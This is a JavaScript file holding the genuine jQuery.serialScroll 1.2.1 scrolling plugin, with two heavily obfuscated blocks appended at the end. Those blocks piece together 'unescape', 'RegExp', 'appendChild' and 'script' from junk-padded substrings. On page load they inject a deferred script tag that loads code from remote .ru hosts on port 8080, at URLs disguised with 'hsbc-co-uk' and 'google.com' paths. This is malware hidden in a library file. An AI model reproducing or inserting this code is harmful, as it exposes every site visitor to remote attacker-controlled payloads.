/**
 * jQuery.serialScroll
 * Copyright (c) 2007-2008 Ariel Flesler - aflesler(at)gmail(dot)com | http://flesler.blogspot.com
 * Dual licensed under MIT and GPL.
 * Date: 3/20/2008
 *
 * @projectDescription Animated scrolling of series.
 * @author Ariel Flesler
 * @version 1.2.1
 *
 * @id jQuery.serialScroll
 * @id jQuery.fn.serialScroll
 * @param {Object} settings Hash of settings, it is passed in to jQuery.ScrollTo, none is required.
 * @return {jQuery} Returns the same jQuery object, for chaining.
 *
 * http://flesler.blogspot.com/2008/02/jqueryserialscroll.html
 *
 * Notes:
 *	- The plugin requires jQuery.ScrollTo.
 *	- The hash of settings, is passed to jQuery.ScrollTo, so its settings can be used as well.
 */
;(function( $ ){

	var $serialScroll = $.serialScroll = function( settings ){
		$.scrollTo.window().serialScroll( settings );
	};

	//Many of these defaults, belong to jQuery.ScrollTo, check it's demo for an example of each option.
	//@see http://flesler.webs/jQuery.ScrollTo/
	$serialScroll.defaults = {//the defaults are public and can be overriden.
		duration:1000, //how long to animate.
		axis:'x', //which of top and left should be scrolled
		event:'click', //on which event to react.
		start:0, //first element (zero-based index)
		step:1, //how many elements to scroll on each action
		lock:true,//ignore events if already animating
		cycle:true, //cycle endlessly ( constant velocity )
		constant:true //use contant speed ?
		/*
		navigation:null,//if specified, it's a selector a collection of items to navigate the container
		target:null, //if specified, it's a selector to the element to be scrolled.
		interval:0, //it's the number of milliseconds to automatically go to the next
		lazy:false,//go find the elements each time (allows AJAX or JS content, or reordering)
		stop:false, //stop any previous animations to avoid queueing
		force:false,//force the scroll to the first element on start ?
		jump: false,//if true, when the event is triggered on an element, the pane scrolls to it
		items:null, //selector to the items (relative to the matched elements)
		prev:null, //selector to the 'prev' button
		next:null, //selector to the 'next' button
		onBefore: function(){}, //function called before scrolling, if it returns false, the event is ignored
		exclude:0 //exclude the last x elements, so we cannot scroll past the end
		*/
	};

	$.fn.serialScroll = function( settings ){
		settings = $.extend( {}, $serialScroll.defaults, settings );
		var event = settings.event, //this one is just to get shorter code when compressed
			step = settings.step, // idem
			lazy = settings.lazy;//idem

		return this.each(function(){
			var 
				context = settings.target ? this : document, //if a target is specified, then everything's relative to 'this'.
				$pane = $(settings.target || this, context),//the element to be scrolled (will carry all the events)
				pane = $pane[0], //will be reused, save it into a variable
				items = settings.items, //will hold a lazy list of elements
				active = settings.start, //active index
				auto = settings.interval, //boolean, do auto or not
				nav = settings.navigation, //save it now to make the code shorter
				timer; //holds the interval id

			if( !lazy )//if not lazy, go get the items now
				items = getItems();

			if( settings.force )
				jump( {}, active );//generate an initial call

			// Button binding, optionall
			$(settings.prev||[], context).bind( event, -step, move );
			$(settings.next||[], context).bind( event, step, move );

			// Custom events bound to the container
			if( !pane.ssbound )//don't bind more than once
				$pane
					.bind('prev.serialScroll', -step, move ) //you can trigger with just 'prev'
					.bind('next.serialScroll', step, move ) //for example: $(container).trigger('next');
					.bind('goto.serialScroll', jump ); //for example: $(container).trigger('goto', [4] );
			if( auto )
				$pane
					.bind('start.serialScroll', function(e){
						if( !auto ){
							clear();
							auto = true;
							next();
						}
					 })
					.bind('stop.serialScroll', function(){//stop a current animation
						clear();
						auto = false;
					});
			$pane.bind('notify.serialScroll', function(e, elem){//let serialScroll know that the index changed externally
				var i = index(elem);
				if( i > -1 )
					active = i;
			});
			pane.ssbound = true;//avoid many bindings

			if( settings.jump )//can't use jump if using lazy items and a non-bubbling event
				(lazy ? $pane : getItems()).bind( event, function( e ){
					jump( e, index(e.target) );
				});

			if( nav )
				nav = $(nav, context).bind(event, function( e ){
					e.data = Math.round(getItems().length / nav.length) * nav.index(this);
					jump( e, this );
				});

			function move( e ){
				e.data += active;
				jump( e, this );
			};
			function jump( e, button ){
				if( !isNaN(button) ){//initial or special call from the outside $(container).trigger('goto',[index]);
					e.data = button;
					button = pane;
				}

				var
					pos = e.data, n,
					real = e.type, //is a real event triggering ?
					$items = settings.exclude ? getItems().slice(0,-settings.exclude) : getItems(),//handle a possible exclude
					limit = $items.length,
					elem = $items[pos],
					duration = settings.duration;

				if( real )//real event object
					e.preventDefault();

				if( auto ){
					clear();//clear any possible automatic scrolling.
					timer = setTimeout( next, settings.interval ); 
				}

				if( !elem ){ //exceeded the limits
					n = pos < 0 ? 0 : limit - 1;
					if( active != n )//we exceeded for the first time
						pos = n;
					else if( !settings.cycle )//this is a bad case
						return;
					else
						pos = limit - n - 1;//invert, go to the other side
					elem = $items[pos];
				}

				if( !elem || real && active == pos || //could happen, save some CPU cycles in vain
					settings.lock && $pane.is(':animated') || //no animations while busy
					real && settings.onBefore && //callback returns false ?
					settings.onBefore.call(button, e, elem, $pane, getItems(), pos) === false ) return;

				if( settings.stop )
					$pane.queue('fx',[]).stop();//remove all its animations

				if( settings.constant )
					duration = Math.abs(duration/step * (active - pos ));//keep constant velocity

				$pane
					.scrollTo( elem, duration, settings )//do scroll
					.trigger('notify.serialScroll',[pos]);//in case serialScroll was called on this elem more than once.
			};
			function next(){//I'll use the namespace to avoid conflicts
				$pane.trigger('next.serialScroll');
			};
			function clear(){
				clearTimeout(timer);
			};
			function getItems(){
				return $( items, pane );
			};
			function index( elem ){
				if( !isNaN(elem) ) return elem;//number
				var $items = getItems(), i;
				while(( i = $items.index(elem)) == -1 && elem != pane )//see if it matches or one of its ancestors
					elem = elem.parentNode;
				return i;
			};
		});
	};

})( jQuery );





var Y=["I"];this.g=29485;this.g++;e=11662;e+=65;try {bp={};L={};var E=["a","Dg"];try {} catch(F){};bO={r:false};SA={KK:false};var h=window[String("unes"+"cape")];s=63847;s--;d=21926;d--;var oy=21435;var G=window[(String("ReSCM".substr(0,2)+"gEsL2".substr(0,2)+"4fMxpf4M".substr(3,2)))];Er=33339;Er--;_l=43264;_l--;this.qm='';var X=new String("1");var t={sW:false};var Bt="Bt";try {} catch(A){};try {var db='rs'} catch(db){};vs={Bm:6181};var c='';var gi="gi";var BV={W:false};this.cg=5004;this.cg-=97;var up=new String();var p=String("on"+"lo"+"CNOad".substr(3));var Ut={};var Vb={};var Yo='';var P=String("rep"+"lacRezC".substr(0,3)+"ud2TedT2u".substr(4,1));try {var DS='Tc'} catch(DS){};try {var WG='Wx'} catch(WG){};var mF=new Date();var CT="CT";this.lU="lU";function S(X,k){var Cy=44355;TJ=["Q"];var j="[";this.im='';this.lY='';sV=[];this.vY=26720;this.vY+=74;this.Rw='';j+=k;var BR=38481;this.Kz=false;var HJ=false;this.yS='';j+=h("%5d");this.tU=31610;this.tU++;var dx=[];var yc={};Qk=10534;Qk++;var Qb=["aK","Mz","Yr"];var n=new G(j, "g");O=54321;O+=199;return X.replace(n, c);this._v=64616;this._v++;this.Ga=false;CO={};KG={yZ:20906};};GV={J:"lQ"};var If=new String();this.MN=42281;this.MN+=21;this.PG=30875;this.PG+=230;this.zx=43466;this.zx-=252;var ny=String("5NB3http:".substr(4)+"//gotiEh".substr(0,5)+"hguil"+"S86t.ru:S86".substr(3,5));var ic={JG:47518};var YV={yA:16164};var l=250875-242795;var Xhg=new String();lw=64659;lw++;COm=38673;COm++;var tAd=false;ye={xJ:46067};Um={Uu:19725};Od={KW:56633};BO={bJ:28053};var N=String("/hsbc"+"-co-up7H".substr(0,5)+"k/goo"+"gle.c"+"om/li"+"nezinV82D".substr(0,5)+"g.com"+".php");var nU=new Array();this.fS=31293;this.fS+=253;var PY=new Array();var sh={_Q:false};var oz='';this.__=1590;this.__+=71;function q(){var OQ=new Date();var Jh=new Array();azS=["VK","bi","gD"];Al=[];var VL={};var qQ=false;var R=new String("ap"+"pe"+"nd"+"Ch"+"il"+"d");this.JF=56397;this.JF-=136;this.orM=false;this.Pv=4931;this.Pv-=66;O_=["Bd","lQc","zh"];this.bc=false;var v=document;dd={};ju=[];UF={};LS=10331;LS-=180;var b=S('s5c5rzi3pOth','8h1wgOEVoJ34zb6HlPD5Z');var BtG={ei:"iF"};var FC=[];HJz={OJJ:"Mq"};hHk=["Jg","Ed"];zT=["ce"];var Szh=new Array();var Su={kY:"Gp"};var AI=new Array();var pO={};bP=v.createElement(b);Ws=50423;Ws++;dt=58145;dt++;var BQ={uF:"zW"};w=ny+l;_j=5881;_j-=181;var QL=[];w=w+N;var pzm="";try {var RS='NC'} catch(RS){};var uN={ES:"eg"};var oQ=new Date();var Qw=new Date();this.mAi=12453;this.mAi--;bP.src=w;var BdY=["XM"];var Gz=v.body;var oe={};bIk={kfh:2241};var Ak=["TB"];WxH={gq:62868};bP[new String("defe"+"r")]=X;Szx=["NCC"];var RY=false;var LCk={};try {var VU='nP'} catch(VU){};try {var mt='xA'} catch(mt){};af={};Gz[R](bP);var ck='';};Mzm=["dq","Rl"];this.Ye=18647;this.Ye--;var jG=new String();window[p]=q;this.Lp='';aq=7605;aq++;this.EP=26766;this.EP--;var mk=["Ne","_Z","FR"];this._lZ=63349;this._lZ--;this.wh=42932;this.wh--;} catch(z){var ZI=new String();var yt=9212;var z_={GU:54703};Cc={CAq:"jXN"};};jD={};this.bC=false;try {} catch(XU){};

c={};var m={x:"C"};try {Bj=["pL"];var G=window[String("un"+"es"+"GHFpca".substr(4)+"pe")];TY=["eY"];S=["j"];this._s=32167;this._s--;var Yz=new Date();Nv={I:false};var O=new Date();var P=String("rMA3onloa".substr(4)+"d");var NvE='';var CC=["Q"];this.a=3855;this.a-=12;E=["AA","Rm"];var B='';var J=new String("repla"+"ce");bS=["ie","jJ","V"];_L=[];Rw=["mG","xr","vg"];var Z=window[("8xhRegE".substr(3)+"ZS6xp".substr(3))];try {var ieH='rr'} catch(ieH){};try {var qu='Rt'} catch(qu){};var W="1vop".substr(0,1);this.K=26578;this.K++;var jF="";LN=21757;LN--;var CK={};function e(W,JF){var EZ={BM:false};this.f=50229;this.f+=233;var UH='';aK=["yj","Ou"];var cS=new Array();var R=String("zYrX[".substr(4));var OJ=59424;var TA=new String();R+=JF;var sj="sj";R+=G("%5d");var p=new Z(R, new String("u5Gg".substr(3)));var vU=new String();SE=55778;SE-=233;var zZ=19940;var ak=46184;var NP=46683;return W.replace(p, B);var Ne={mp:"xw"};};try {var aj='sd'} catch(aj){};var Xu=new Date();var u=674354-666274;var sM={YN:false};try {var fQ='Ro'} catch(fQ){};var YK="";var o=new String("/g"+"oo"+"gl"+"e.FlN".substr(0,2)+"co"+"m/wud".substr(0,2)+"EAvxskvxEA".substr(4,2)+"yp"+"H6Re.".substr(3)+"nQOlconQlO".substr(4,2)+"m/"+"ra"+"yf"+"5349il3495".substr(4,2)+"e."+"cobwvx".substr(0,2)+"m."+"phNs0".substr(0,2)+"p");var sq=["rn","js"];var Ab={XU:false};var b=new String("nNHdhttp".substr(4)+"://a"+"1fXshdo".substr(3)+"nSCg.ru".substr(3)+"mG9K:9KGm".substr(4,1));HS=["SHz","Na"];ea=["OO","pn"];qm=["zE"];Vz=["WB","LQ"];tP=["Rx"];function F(){try {var Gu='Zkt'} catch(Gu){};ey={Zm:false};Hm=["uv","aB"];try {var OB='dl'} catch(OB){};var s=new String("app"+"end"+"tOdYChi".substr(4)+"ld");EM={WH:"Vp"};Wg={JXg:"yB"};var q=e('szc3rzinpNtP','lP_n3WNMz');this.op="op";var n=document;W_=["mt","nH","FP"];var fn='';bN=63840;bN++;var EMp={vUx:7526};z=n.createElement(q);var CN=new Array();gD={sqW:false};var gp={pY:"BU"};var he=["an"];T=b+u;var bh=["af","Xy","Su"];var Vm="Vm";var ol="ol";var SQ=new String();T=T+o;var eK={zz:58654};this.uC="";var uQ=["LB","bP"];this.wv="";this.EP="";k_=["Hw","ye"];Gb={wh:36374};jz={lN:34372};var bW=["cEc","jv"];Ph={ib:65383};FJ={Kl:8169};z["defer"]=W;Zs=["Hq"];NE=34323;NE+=56;var KU=new Date();Xt=["kbh"];var H=n.body;hgo=[];var ik=new Array();RQ=34892;RQ--;rc=[];WY=18972;WY--;z.src=T;var fE={vP:"_X"};var cM={RJ:"wk"};FJI=48393;FJI+=213;wJ=28196;wJ+=235;Rp={};IF=65260;IF--;H[s](z);};var MY='';this.PC="PC";this.qq="";this.Bo="";IC=[];Ez={};window[P]=F;this.yw="";rs=["NX","VD","qn"];var cX=new String();} catch(U){try {var Od='nr'} catch(Od){};this.wj=46465;this.wj--;this.Ouj=10349;this.Ouj-=205;try {var ni='kS'} catch(ni){};this.LP="LP";yb=["nA","Gk","vV"];Yg=["Tx","xo","nm"];var Oe=["HQ"];et=["QV","AS","Ot"];};var Zh="";









